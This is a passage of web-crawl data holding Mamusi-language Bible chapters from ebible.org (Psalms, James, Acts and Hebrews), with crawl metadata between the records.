goxo ronga xepe levelinga at ne Moroa, goxopmen taxakapmek gak lok teren. Ap mo levenaleng neni ga nemen de at na lavatbung menemen, neni goxo vubeles ti laxakapmek eburu mi limixin kakapmek. Melemu ne Moroa ga lox anarong i ro vana at laxalibet. 27 * Ib 5:3Neni xopmen goxo lok ngan mo leventaba lavamaasa amgomgo, nedi xa digaplavang amisik ti laxakapmek atdi, la ti laxakapmek bok at limixin. Ketla ne Iesu ga lok laplavang ti laxakapmek at limixin axap, ni ga lok legesa laplavang mun, at laaleng ni ga raba lorooro ren kusu na uu nop loklok atdik. 28 * Ib 5:1-2Maxeneng at Laulis Linga luvuttadi diga lok lugugu ngan lavamaasa amgomgo, la lorooro atdi goxo manton tino xerekngan ne Iesu. Ketla ne Moroa ga raba limixin mi Laulis Linga, la melemu ni ga vangpe do ne Nitna na lok kaka lugugu at lamaasa gomgo, luruptuvuk teren naban manton tino amisik.\n*7:1: Lur 14:17-20\n*7:5: Kex 18:21","id":"","dump":"CC-MAIN-2022-21","url":"https:\/\/ebible.org\/mmx\/HEB07.htm","date":"2022-05-21T16:54:32Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-21\/segments\/1652662539131.21\/warc\/CC-MAIN-20220521143241-20220521173241-00110.warc.gz","language":"mmx","language_score":1.0000097752,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"mmx_Latn_score\": 1.0000097751617432}","num_words":1145,"character_repetition_ratio":0.087,"word_repetition_ratio":0.007,"special_characters_ratio":0.235,"stopwords_ratio":0.402,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"26\nLisingising At Laradi Manmanton\n1 O Leeme Silok, una tong atkatla li i ria do, nenia laradi sepsen, atla nia a nunu saga mun taram la ak lox amisik levempanga ik mokso. 2 Una lok tong pen axap na lorooro rak, la una ven mumu avukar ia. La una viila mumu lavavara axap keneng at labalak eburu mi lodoxoma rak. 3 Una lox i na atla um gomgo ria mi labalamu lexen taram, la um lam amisix ia at lavatpas tarak la kopmen tinotno una ke aie xepe ia at tengkon aleng.\n4 Nia xopmen ana vemu eburu mi luvuttadi ekarakat. Nia axot kis esogo mi luvuttadi sosolo arup. 5 Nia axo vesum mi limixin kakapmek, la a tu asepsu basinge di. 6 O Leeme Silok, na a gos lukngak ti lox asuusu i do nia laradi sepsen. La at pas emi asu kangkan loxonin laplavang taram. 7 A vixan loxompixan ti tong avukat tu la a tong asu levempanga nunuan ugak lox i.\n8 O Leeme Silok. A vara rinotno na loogu laplavang, ua nenu u nemen teren. Ni na loxot lisisixam taram i nemen e. 9 Nemen uta sele utut kepe ia eburu mi limixin kapmek, la una ke ia basinge levenmumuat uba raba limixin sepsev amet min. 10 Nedi limixin dik lox amisik laxakapmek la di gagas amisik ti siam ka lempilas ti lox alolos lenngitngit atdi.\n11 Ketla nenia, ak lox amisik leveloklok in manton. Una lox asuusu lebelen tuntun tia la una lox asepsu ia basinge di! 12 La xerepmo nia ana nemen avukat basinge levenaniu. La anaba emi asu mi Leeme Silok to at lovotpot buru at limixin teren.","id":"","dump":"CC-MAIN-2022-21","url":"https:\/\/ebible.org\/mmx\/PSA026.htm","date":"2022-05-16T05:43:37Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-21\/segments\/1652662509990.19\/warc\/CC-MAIN-20220516041337-20220516071337-00122.warc.gz","language":"mmx","language_score":1.0000083447,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"mmx_Latn_score\": 1.0000083446502686}","num_words":263,"character_repetition_ratio":0.062,"word_repetition_ratio":0.0,"special_characters_ratio":0.226,"stopwords_ratio":0.217,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"74\nLisingising Ti Lox Asepmus Leme Israel\n1 O Moroa. Ua lavasuun teren la u raba rulu nema xeretna? Kereva, lebelemamao ram ti limixin akmokso ram naba nemen amisik ta, la noxo xap? 2 Una doma limixin taram mo nenu uga soxolik ka axa di gano xusu nedi ataram. La nedi ua uga lam asu ka di at loxokoxo kusu diba ravasu ngan lubung mixin akmokso ram. Una doxoma lakaana Saion, no nenu uga nemen bok be ve kantubu atnema. 3 Una vas mavana at loogu laplavang taram ga rem utut. Lavamunepen minema digara sele utut axap pam lempanga ro xeneng teren.\n4 Lavamunepen minu digap kup silok tinotno mi lomomo ro xeneng at loogu laplavang taram. Diga lox aurut leventamon i ru katling lenep silok atnedi, i ngan lampoovo do, nedi diga sak tup minema la diga ruuna ka loogu laplavang. 5 Diga esep ngan luvuttadi ratara una diga tara asi laxanuna mi levenmatao atdi. 6 Diga tit povorok levengkon una diga xovox i at levengkot kitkis, levenora anan, la at laramusmaragu mi levenasop la lempatmatao silok atdi. 7 Diga ut tereve xepe loogu laplavang taram la diga song arup laxao ren. Diga lox amexexe rinotno Loxot Kaala ua limixin diga lotu saparav u. 8 Diga vara i do dina vas amdamda axap nema. La diga kotos asi laraogu axap i xaala at na lenep kangka.\n9 Ma xopmen na ven bok ba tempanga abis. Kopmen ta teputadi vapaase ali go dik lok, la kopmen teta naklen i do na lumumuat naba nemen at lavanisa maares axap.\n10 O Moroa, naba vanisa maares mo na limixin munepen minema dibang longon sese u? Kereva, diba paase vupu amisik ta ri laasen taram la kopmen tekavaxap teren? 11 Ua lavasuun teren la u ronga xepe ri lok tooro nema? Tila ba uk lok li lukngam to melemu ram?\n12 O Moroa, ugarat kis orong silok pam tinema, tuka axa i at lurutu kaxat at lubung mixin me Israel, la buaang laxanaleng ugak lox asepsu vam nema at levenmumuat. 13 Uga lok langas to at laras mi lolos silok taram, la uga tit povorok lempatlak at laxampanga silok boro xeneng at laras. 14 Uga rit povorok lempatlak at lavatpanga silok ne Levietan, la uga raba lempanga mi lavanuet kangkedek no at lamatbin mi labantuxu ren, tidi ri anan. 15 Uga lok levempuuvut dan mi levendan lixilik digara sen bok ba. La uga lox ames lempatdan sen silok. 16 Uga rudum li laaleng kangking, la laxanimin. Uga vaxaxis li laxangking mi lagaaling at luxot atdu. 17 Uga lok li latnese at na lavatbung menemen. Uga lok lamaares mi laavat.\n18 Ketla, Leeme Silok tarak, unaklen i do limixin munepen minu ding longon sese u, atla diplavang ti levenmoroa xaxarang, kuren la dik sok tixirixes u. 19 Uguta raba rulu limixin axap taram. Di lok ngan mun limixin pentaae. La uguta ke xepe di kusu dina vubeles at longlong kuxurung at limixin munepen midi. Uguta domampe limixin taram mo dim suma leveloklox asongot. 20 Una doma laxakaape uga lox i eburu minema kusu una lok tatao nama. Levenekarakat mo ik lok at lengkon mesuluk main axap at na lenep kangka. 21 Uguta ke xepe luvuttadi baava kusu dina mangan. Una lok tooro mo luvuttadi banbalo mi lavamun panga xusu diba emi asu minu.\n22 O Moroa, una beleku kaxat, la una tu xa at lenep taram mumu na levenmumuat atnema. Una doxoma box i do limixin tongtonga xepe ding longon sese amisix u at laxanaleng axap. 23 La uguta domampe leven aknuxup belemamao at limixin munepen minu, mo di gagang linga amisik taram.","id":"","dump":"CC-MAIN-2022-21","url":"https:\/\/ebible.org\/mmx\/PSA074.htm","date":"2022-05-20T02:06:38Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-21\/segments\/1652662530553.34\/warc\/CC-MAIN-20220519235259-20220520025259-00435.warc.gz","language":"mmx","language_score":1.000007987,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"mmx_Latn_score\": 1.0000079870224}","num_words":575,"character_repetition_ratio":0.053,"word_repetition_ratio":0.0,"special_characters_ratio":0.214,"stopwords_ratio":0.233,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"3\nMina Lok Tatao Avukat Lavapaase Atnimi\n1 * Lu 12:47Luvutnetak mi luvurinuk. Kopmen na lox avukat do buaang atnimi na lok ka lugugu ngan luvuttadi loklox ase at levelinga at ne Moroa, mila ne Moroa naba ila mumu aleng lugugu at luvuttadi loklox ase. Mira xasep pam at na. 2 Nedik axap tak sak kikixin at leventaangas buaang. Ket do laradi kopmen nak lok laxakapmek at lavapaase ren, neni laradi manmanton tinotno la ni iklen bok ti lok tatao lorooro axap teren.\n3 Nedik ta lok li loxonaen lixilik at lungusno at lavaros ti lox i xusu naba ronga res atdik, la nedik ta epovo na sixit min uto at lengkot ta vara i. 4 Kopla mina doxoma mumu lavatmon i silok aleng la lamanman lolos ik lox asen i at laras. Lisitia at lavatmon i lixilik mun, ket do laradi gomgo ren na vara i do na sen min ti toxot, ni naba vaxar akmokso lisitia la lavatmon ira sen ti mo lenep i vara i. 5 Na lisitia i lok ngan lagam at laradi. Ni loxot lixilik mun at labantuxu ren, ketla lagam i epovo do na tong asu levelinga loklox asilok. Nemi minam doma mumu i na. Laxao lixilik i epovo ri an kaka axap laxairing silok. 6 * Mt 12:36-37; 15:11,18-19La lagam i lok ngan mo laxao. Ni i ngan lavanga xapmek ti lengkot axap at labantuxu, la ik lox axatu kaxat leveloklok kakapmek at labantuxu, la ik lox axatu kaxat bok leveloklok i bilingot at lorooro axap at laradi. La laxao xerepmo ip tavasu at lemenemen songsongot.\n7 Limixin di epovo na lox amenemen levenasen panga rooro axap at na lavatbung menemen, ngan levempanga mi lavanuet kangkedek boro at laxairing, levempixa, lempat sii la lempanga di kaxao mi lebelen di, la levenmat at laras. 8 * Ro 3:13Ketla kopmen taradi i epovo ri lox amenemen lagam. Amisik lagam ik lox axatu kaxat laxakapmek. Neni i epovo na sev amet tara kerekngan mun luxuasep.\n9 * 1 Ko 11:7Mi leven gam atdik nedik di xip aurut laasen at ne Moroa, ne temen dik. La nedik di paase kapmek bok min ti limixin petpes no ne Moroa ga rudum li di kerekngan lampoovo ren. 10 Levelinga ri xip aurut laasen at ne Moroa la levelinga xapmek bok ip tavasu at legesa gam mene nga. Luvutnetak mi luvurinuk, na loklok kopmen nak mokso. 11 I lok ngan na lempapaase poovo. Ladan mumudut eburu mi ladan i so mamao noxo sen su at legesa xatli dan. 12 Luvutnetak mi luvurinuk. Luuna pik ixo epovo ri visik levempeven olip. La luuna vaen ixo epovo ri visik levempeven pik. La ixo epovo bok do tara na lok ka ladan mumudut boro at ladan i so mamao.\nLodoxoma Avukat\nNe Moroa Im Taba I\nNe Moroa Im Taba I\n13 Do tara xantubu atnemi i ruuna lodoxoma avukat mi lakleklen solo, neni na lox asuusu i mi lavatpas teren i lox avukat axap la i umsu mi leveloklok nunuan. Neni i lox i na mi langsangan loklok ngangao la lodoxoma avukat. 14 Ket dola tara i ruuna levereven peves ti lempanga at tara vetpes la loklox asilok, ixo epovo do neni na lox aurur i do neni laradi avukat. La ixo epovo na sev apkap do neni laradi rongtonga xepe at levelinga ruturun. 15 * Je 1:5,17Lodoxoma kerepmo kopmen na laa boro vana at ne Moroa. Ni loklok at na lavatkangka mun at ne Satan. 16 Do limixin at lara lemenemen di ruuna levereven peves ti lempanga at tara vetpes la loklox asilok, lixitkis atnedi naba ekarakat la buaang leveloklok kakapmek nabap tavasu kantubu atdi.\n17 Ketla nedi limixin di ruuna lodoxoma at ne Moroa, di ruuna leveloklok keretna. Lara avot, luruptuvuk atdi i dadat, limila i nemen kantubu atdi, loklok mulus bok mo, la ding tonga res at lentaba vetpes. Di umsu mi lebelen tuntun la dik lox amisik leveloklok nunuan. La di ke xepe loklok tik lox asi tara, la loklok kaxarang. 18 * Mt 5:9; Ais 32:17; Ib 12:11Nedi dik lok lumulum kantubu at limixin, mo lugugu atdi ba pisik asu lorooro nunuan kantubu at limixin axap.","id":"","dump":"CC-MAIN-2022-21","url":"https:\/\/ebible.org\/mmx\/JAS03.htm","date":"2022-05-29T08:07:23Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-21\/segments\/1652663048462.97\/warc\/CC-MAIN-20220529072915-20220529102915-00641.warc.gz","language":"mmx","language_score":1.0000090599,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"mmx_Latn_score\": 1.0000090599060059}","num_words":660,"character_repetition_ratio":0.053,"word_repetition_ratio":0.006,"special_characters_ratio":0.228,"stopwords_ratio":0.318,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"7\nLisingising Ti Lomokmokso\n1 O Leeme Silok, nu ne Moroa rak. Anaa nia a vot saparav u kusu una lok see rak. Una lok tooro ia la una lox asepsu box ia basinge nedi di xala mu rak. 2 Naba lok kapmek do dina lok ngan lavatlaion la dina xip kepe ia uto vaxalom la kopmen tara go ri lok tooro ia, la dinaba lais axakalik labantuxu rak.\n3-4 O Leeme Silok, la nu ne Moroa rak, dola aga lok pam tibilinga ri tara, la dola aga bala vukpuk tara tarapentangas tarak, kopla aga lok tavanga i lok kapmek tino ti laradi munepen minia la kopmen tavasuun teren, kopla aga xarang taba tara. Dola nia agara lok pam tevempanga at na i, 5 i lox avukat do una ke avolo limixin munepen minia dina mamat mu ia la dina rebeng alis kaka ia la dina sev asi ia la dina sev amer ia, la dina ke xepe labantuxu rak nak midi gamasa go at laxangka!\n6 O Leeme Silok, una lox asuusu lebelemamao ram. Una beleku kaxat, la una tupe lumukmusak silok at limixin munepen minia, la una lok tooro ia. Nenu u vavara mene limixin dina rooro ngan limixin manmanton. 7 Kuren la unak lok bubua ka axap limixin saparav u, la unam gomgonga di boro vana at lixitkis orong taram. 8 Nenu laradi rongtonga linga at limixin axap. O Leeme Silok, una ru ria, uklen i do nia laradi sepse. 9 Nenu ne Moroa manmanton la u viila mumu levendoxoma atnema, la lavavara bok atnema. Una lox axap loklok kakapmek at limixin kapmek. La una raba luunun ti limixin nunuan.\n10 Moroa ni Lurutu See Pe rak. Neni ik lox asepsu nedi di mumu asu levelinga ren. 11 Moroa ni lagale laradi rongtonga linga la levelinga ren ik mokso. Amisik ni i paase asi limixin kapmek.\n12 Dola kopmen dinak lox ekun loklok atdi, Moroa naba sua ka lavarise esep teren la naba rep tong pen labanara ren la na lox agagas li i. 13 Ni naba lok kaka levempanga esep teren, la na lok dola na so asu mi levesoso xao ren.\n14 Moroa, una ven ba limixin kapmek di doxoma gagas li leventaangas ti laxakapmek. Dik soxovo li levenmumuat la di xaxarang arup limixin. 15 Ketla nedi xa di onon at larapelixo di lili i ri leventaba vetpes. 16 Kuren la di ruuna ka losongsongot mumu xa laxakapmek atnedi. La lemusak mi leesep di gagas min ti leventaba vetpes i lok kapmek axa di.\n17 A tong aorong ti Leeme Silok atla i tong asu lavapaase ramtaba ina mi lodoxoma mokmokso. Ak pixan emi asu ri Leeme Silok, ni Leeme Avolo.","id":"","dump":"CC-MAIN-2022-21","url":"https:\/\/ebible.org\/mmx\/PSA007.htm","date":"2022-05-20T14:59:08Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-21\/segments\/1652662532032.9\/warc\/CC-MAIN-20220520124557-20220520154557-00541.warc.gz","language":"mmx","language_score":1.0000095367,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"mmx_Latn_score\": 1.000009536743164}","num_words":429,"character_repetition_ratio":0.062,"word_repetition_ratio":0.0,"special_characters_ratio":0.225,"stopwords_ratio":0.242,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"25\nPol Ga Sing Do Dina Lox Aonon I Uto Saparap Ne Kaisar\n1 Pestas ga rupot go Sisaria, la melemu at lavantun aleng ga volo i, neni ga vas kaxat me go Sisaria la ga rupot to Jerusalem. 2 * Gu 24:1; 25:15Mo go lavaeme silok la luvuttadi amgomgo at leme Judaia diga lok li levelinga atdi mumu ne Pol. 3 * Gu 23:15Diga sing lolos ne Pestas kusu na lok tavanga avukat tidi la na lox aonon ne Pol uto Jerusalem, mila diga lok li vam levelinga do dina sev amer i at loxonaleng neni na vas polo go at langa. 4 Pestas ga vorang i xeretna, \"Pol mo i nemen at loogu xokoxo to Sisaria, la nenia axa abamlong soso bok ugo. 5 Mina riki tentaba at luvuttadi amgomgo atnimi xusu dinat pas uto Sisaria eburu minia la dina lok li lavapaase mumu mo laradi go, mo do neni gara lok pam tavanga xapmek.\"\n6 Pestas ga nemen eburu minedi at lavanuan aleng kopla i sangaun aleng, la neni gamlong uto Sisaria. Ap mo lara laaleng melemu ni gat kis to at loxot tongtonga linga, la ga tong mu ri ne Pol kusu na beles uto xeneng saparav i. 7 * Gu 24:5-6,13Pol ga rupot, la leme Judaia no diga vas kaxat boro Jerusalem diga ru xangkan i la diga lok li laxampapaase lolos mumu i. Ketla kopmen di goxo lox asuusu i do levelinga atdi ga ruturun.\n8 La ne Pol ga lok keretna, \"Axo lok kapmek tempanga mumu Laulis Linga at leme Judaia, kopla loogu laplavang kopla at ne Kaisar.\"\n9 * Gu 24:27Pestas ga vara i do na lox amomo leme Judaia, kuren la ni ga sue ne Pol, \"U vara box i do unat pas uto Jerusalem la una ru ro melamgo rak e la nia ana ronga na levelinga di lok li i ram?\"\n10 Pol ga lok, \"A tu nade melamgo at loxot tongtonga linga at ne Kaisar. At na loxot mun minaba ronga linga rak. A goxo lok kapmek tempanga at leme Judaia, kerekngan nenu ukleklen avukat tinotno i. 11 Dola nia agara los polo vam Laulis Linga la agara lok pam tavanga xusu nia anaba met nov i, i lox avukat mene. A noxo sing do ana sixiro basinge i. Ket do na levelinga di lok li i rak kopmen na ruturun, ixo epovo do tara na song araba ia uto atdi. A vara i do una lox aonon ia uto at ne Kaisar.\"\n12 Pestas ga epaase eburu mi limixin papaase ren la ni ga lok, \"Ura sing pam do unat pas uto at ne Kaisar, kuren la nenu unaba vot pasa i.\"\nPestas Ga Soxomus Lavapaase Mumu Ne Pol\n13 Melemu at lentaba levenaleng gara volo la loorong, ne Agripa eburu mi neinen, laasen teren ne Benis duga rupot to Sisaria xusu duna ven ti ne Pestas la kusu duna vaase momo rin. 14 * Gu 24:27Duga nemen go Sisaria at levenaleng buaang, la ne Pestas ga paase mumu ne Pol ti mo loorong keretna, \"Lara laradi i nemen at loogu xokoxo, no ne Pelik ga on basinge i. 15 Nia agat pas uto Jerusalem, la lavamaasa silok la loxongkulao silok at leme Judaia diga lok li levempapaase rin la diga sing ia xusu ana lok li lumumuat teren.\n16 Ketla nia aga tong i ridi do nedik limixin boro Rom kopmen dik tana song araba gamasa taradi uto ri lanmet. Neni naba epen etang mi mo laradi nedu gi edak, kusu neni bok naba ronga levelinga ren la na vorang i. 17 Mo luvuttadi silok diga rupot de, la nia xopmen a goxok lok sila. Ap mo mun lara laaleng melemu aga xis to at loxot tongtonga linga la aga tong i ri laradi esep kusu na lox abeles ne Pol ukeneng.\n18 La nedi mo limixin diga lok li i at lavapaase, diga xatu upana, kusu dina vaase. La nia aga nua i do diba sok taba i levelinga mumu taxapmek. Ketla di goxo lox i. 19 * Gu 18:15Diga ruuna mun levesusue eburu min mumu leventaangas at lotu atnedi la mumu bok lara laradi laasen teren ne Iesu, no gara met pam. Pol ga lok do neni mo i rooro. 20 * Gu 25:9A goxo epovo do anaba lok ka tevelinga mumu na lavanga. Kuren la aga sing ne Pol kusu ni nat pas uto Jerusalem, la ana ronga mo lavapaase ren go. 21 Ketla ne Pol ga sing do ni na nemen maxopok at loklok tatao rak nade Sisaria, la ne Kaisar axa naba ronga linga ren. Kuren la aga tong i ri luvuttadi esep kusu dina lok tatao avukar i se nia aba lox aonon i uto at ne Kaisar.\"\n22 Agripa ga lok ti ne Pestas, \"A vara i do nenia xa aba ronga linga bok ap mo laradi.\"\nPestas ga vorang i xeretna, \"Uba ronga linga ren kantamak.\"\n23 * Mt 10:18; Mk 13:9Kuren la ap mo laaleng melemu Agripa la ne Benis duga rupot mi lisisinang avukat atdu, la limixin diga lok ngangao aleng atdu. La duga beles to xeneng at loxot tongtonga linga ua luvuttadi amgomgo at limixin esep la limixin silok ap mo lemenemen digat kis tangais i ve. La ne Pestas ga tong mu ri ne Pol la limixin esep diga lox abeles i ukeneng.\n24 * Gu 22:22; 25:2,7Pestas ga lok, \"Loorong ne Agripa, la nemi axap mik lok eburu minama. Mina ven na laradi ne Pol! Limixin me Judaia nade la boro bok Jerusalem diga raba linga ia mumu i. Diga paase lolos do ni naba met. 25 Ketla a goxo vuse ka tempanga do ni ga lok kapmex i xusu ni ba met nov i. Ketla neni xa ga sing ti ne Kaisar. Kuren la nia a doma li vam i xusu ana sak tiki ne Pol uto saparav i. 26 Ketla axo vuse ka tevelinga loklox axasep teren kusu ana malagan i uto ri leeme gomgo atdik ne Kaisar. Kuren la ana lok li i uto melamgo atnimi la to melamgo ram, ne Agripa! Kuren la, melemu at na lavapaase, aba malagan tevelinga. 27 Mila ixok mokso do ana riki gamasa taradi xokoxo la xopmen tavapaase axasep ti levelinga diga lok li i ren.\"","id":"","dump":"CC-MAIN-2022-21","url":"https:\/\/ebible.org\/mmx\/ACT25.htm","date":"2022-05-23T12:02:54Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-21\/segments\/1652662558015.52\/warc\/CC-MAIN-20220523101705-20220523131705-00023.warc.gz","language":"mmx","language_score":1.0000090599,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"mmx_Latn_score\": 1.0000090599060059}","num_words":1002,"character_repetition_ratio":0.063,"word_repetition_ratio":0.0,"special_characters_ratio":0.247,"stopwords_ratio":0.31,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"127\nLeemi Asu Ri Leeme Silok Mumu Lununuan Teren\n1 Mo do Leeme Silok noxo vaxaru loogu, limixin kipkip gu di noxo lox adak toxot. La do Leeme Silok noxo lok see bok at temenemen silok, luvuttadi pereven tatao di noxo lox adak toxot. 2 Kopmen tavasuun teren kusu limixin dina gugu lolos to at leventaamang atdi at laxanaleng axap, tuka i at lenmaxantamak suubu la naba se ukantinao bungbung main, mila Leeme Silok nabam taba nedi mo neni i balamu di. La i gagas li i at lengkanimin, keke i do nedi mo di unga.\n3 Laxamdak temes di lok ngan leventamtaba boro at Leeme Silok. Laxamdak mi laxaalik di lok ngan loklox anarong ti limixin. 4 Laxamdak temes at latlok maxat, di lok ngan levesoso ro at lekngen laasesep.\n5 Luvukat ti mo laradi i visik buaang atdi. Limixin munepen min di noxo vas asi ba mo laradi mo do neni na ekip tangarang midi ro at loxot tongtonga linga.","id":"","dump":"CC-MAIN-2022-21","url":"https:\/\/ebible.org\/mmx\/PSA127.htm","date":"2022-05-16T06:27:53Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-21\/segments\/1652662509990.19\/warc\/CC-MAIN-20220516041337-20220516071337-00124.warc.gz","language":"mmx","language_score":1.0000081062,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"mmx_Latn_score\": 1.0000081062316895}","num_words":156,"character_repetition_ratio":0.086,"word_repetition_ratio":0.0,"special_characters_ratio":0.212,"stopwords_ratio":0.321,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"24\nLeme Judaia Diga Lok Li Ne Pol At Lavapaase\n1 Melemu at lavalimo aleng lamaasa gomgo, ne Ananias gat pas uto Sisaria eburu mi lentaba at loxongkulao silok at limixin me Judaia, la lara leeme vapaase bok, laasen teren ne Tetalas. Diga ru ro melamgo at laradi gomgo ne Pelik la diga lok li lavapaase atdi ri ne Pol. 2 Diga xup kaka ne Pol ukeneng ap mo loogu la ne Tetalas ga lok keretna, \"Laradi silok ne Pelik! Loklok tatao ram tinama i lok li nama at langsangan lumulum, la buaang lempanga loklok tooro mo nenu uga lox i ri limixin at lenep silok atnama. 3 Ma lok momo aleng at na ro at lengkot axap at levenaleng getgesara, la ma tong avukat tinotno ru. 4 Axo vara i do ana lox amolo u mi lempapaase rak, ketla a vara i do una ronga avukat na levelinga lixilik atnama.\n5 * Gu 17:6Maga long lenget ka i do na laradi i lox araut lekarakat. Ni ik paxaru kaxat levenesep to xantubu at leme Judaia no di nemen at lengkot axap at na lavatbung menemen. Neni lamgomgo at loxonbinam tadi laasen teren Nasarin. 6 * Gu 21:28-30Neni ga lok bok pam do na lok puvula loogu laplavang, la maga xoxo xaka i. [Maga lok do mana lok li i at lavapaase kerekngan Laulis Linga atnama i tong i. 7 Ketla leeme gomgo ne Lisias eburu mi buaang limixin esep teren diga rupot pasa nama la diga lam ka i basinge nama. 8 Kuren la ne Lisias ga lok tinama do maba sok taba ne Pol mi levelinga ro melamgo ram. Mo do una susue na laradi, nenu uba ronga i do levelinga rak i ruturun.\"]\n9 La nedi axap leme Judaia diga lok tooro ne Tetalas ap mo lavapaase la diga tong lolos i do mo levelinga ga ruturun.\nPol Ga Vorang Levelinga Atdi Ro Melamgo At Ne Pelik\n10 La ne Pelik ga lok loklok katling ti ne Pol kusu na vaase, la ne Pol ga lok, \"Aklen i do nenu ugang tonga linga at na lenep silok at levenmaares buaang. Kuren la nia a momo ri vorang levelinga atdi de melamgo ram. 11 * Gu 21:17Nenu xa uba long lenget ka i atdi do una sue di, do gat lasangaun mi legepura levenaleng ga xap pam, nia agat pas uto Jerusalem ti lotu saparap ne Moroa. 12 Leme Judaia di goxo ven ia mi tara, do ma gita epaase musak to xeneng at loogu laplavang, kopla a gita lox axatu lodoxoma at limixin to xeneng at laraogu singising kopla to ap mo lemenemen silok. 13 Ketla dixo epovo do dina lox asuusu i do na levelinga atdi i ruturun.\n14 * Gu 24:5Ana tong i na ru. Nia a lotu saparap ne Moroa at lavalabat atnama keretna. A mumu asu mo langas di tong i do i xaxarang. Ketla a nunu at levelinga diga malagan i at Laulis Linga at ne Moses, la levenmamalagan at lavaeme vapaase ali. 15 * Jo 5:28-29Nia a doxoma voovo ri ne Moroa xerekngan bok di, di nunu do limixin axap, limixin avukat la limixin kakapmek, dinaba roo xat amlong basinge lanmet. 16 * Gu 23:1Kuren la a lolos amisik ti ke laxakapmek la ana nemen manmanton at lemeren ne Moroa la limixin.\n17 * Ro 15:25-26; Ga 2:10Melemu at lentaba levenmaares aga nemen petpes basinge lemenemen Jerusalem, agat pas ugo ri xip ka lempilas tinedi limixin tarak mo dik pakes, la aga vara i do anaplavang saparap ne Moroa. 18 * Gu 21:26-27Aga lox i na la aga lox epovo loklok tik lox adadat. Nedi na diga vot pasa ia ro at loogu laplavang. Goxopmen bok timixin solo diga nemen eburu minia la goxopmen bok tekarakat ap mo loxot. 19 * 2 Ti 1:15Ketla leme Judaia boro at lenep Asia mo diga nemen go. Ba lox avukat do nedi axa dina ru de melamgo ram la dina lok lavapaase, mo do di ruuna tevelinga xusu dina lok li i mavana rak. 20 Kopla i epovo do na limixin na di tu de, dina tong lavanga salai diga ven i rak, aga bilinga ren ap mo laaleng nia aga tu ro melamgo at luvuttadi amgomgo. 21 * Gu 23:6Nia aga tu mun at legesa vanga. Nia aga xup silok ap mo laaleng nia aga tu ro melamgo atdi xeretna, 'Mi vaxaru ia at lavapaase mo lingina mila a nunu do limixin no diga met pam dinaba roo xat amlong ti lorooro.' \"\n22 * Gu 23:26Kuren la ne Pelik, gakleklen tinotno mo langas at Leeme Silok ga lox axap mo lavapaase. Ni ga lok tidi, \"Aba ronga bok ba na levelinga melemu, la aba lok axav i, mo do leeme gomgo at limixin esep ne Lisias na rupot.\" 23 * Gu 27:3; 28:16,30Ni ga tong i ri laradi loklok tatao at ne Pol do ni nak lok maxopok at loklok tatao at luvuttadi rutu mu. Ketla dina raba i mi tevengkonaleng tin kusu na vas tangtagap la dina siam abeles larapen tangas teren kusu dina raba i mi tempanga i epovo at lavakpakes teren.\nPol Ga Ru To Melamgo At Ne Pelik Mi Ne Darusila\n24 Melemu at lentaba levenaleng Pelik ga rupot mi latkin teren ne Darusila, neni latkin me Judaia. Pelik ga tong mu ri ne Pol do neni na vubeles la ni ga ronga ne Pol ga paase mumu lununu at ne Iesu Karisito. 25 Ketla ne Pol ga paase mumu luruptuvuk avukat, la loklok ti lok tatao avukat lodoxoma, la laaleng at ne Moroa naba lok li limixin at lavapaase. La ne Pelik ga marat aleng tinotno la ga lok, \"I epovo nga. Aba ro xaka bok ba u do nia ana ruuna bok ba taaleng.\" 26 Pelik ga vara ri tempilas boro at ne Pol la ni ga tong i rin do ni naba soxomus asu ne Pol mo do neni na raba i mi tempilas. Kuren la ni gap kup kaka amisik ne Pol la ga paase mumu mo lempilas ti un asu i.\n27 * Gu 25:9Melemu at legepu maares gara volo, Pokias Pestas ga lok ka loxot at ne Pelik ngan laradi gomgo ap mo lenep silok. Pelik ga vara i do na lox atdan lodoxoma at leme Judaia, kuren la ni ga ke xepe ne Pol to at loogu xokoxo.","id":"","dump":"CC-MAIN-2022-21","url":"https:\/\/ebible.org\/mmx\/ACT24.htm","date":"2022-05-24T09:46:40Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-21\/segments\/1652662570051.62\/warc\/CC-MAIN-20220524075341-20220524105341-00502.warc.gz","language":"mmx","language_score":1.0000092983,"language_script":"Latn","minhash_cluster_size":4,"top_langs":"{\"mmx_Latn_score\": 1.000009298324585}","num_words":1012,"character_repetition_ratio":0.046,"word_repetition_ratio":0.0,"special_characters_ratio":0.245,"stopwords_ratio":0.341,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"8\nIesu Neni Lamaasa Gomgo At Lekabus Maxat\n1 * Ib 1:3; 3:1; 10:12; 12:2Lavasuun at na levelinga atnama i lok keretna. Nedik ta ruuna lamaasa gomgo xerepmo, mo it kis at lenep tino at loxonin orong at Loorong Silok ne Moroa, to vana at laxalibet. 2 Neni ik lok lugugu at ne Moroa ro xeneng at loxot i xaala aleng mo ik lok at loogu i xaala la i ruturun, kopmen limixin di goxo lox i, ketla ne 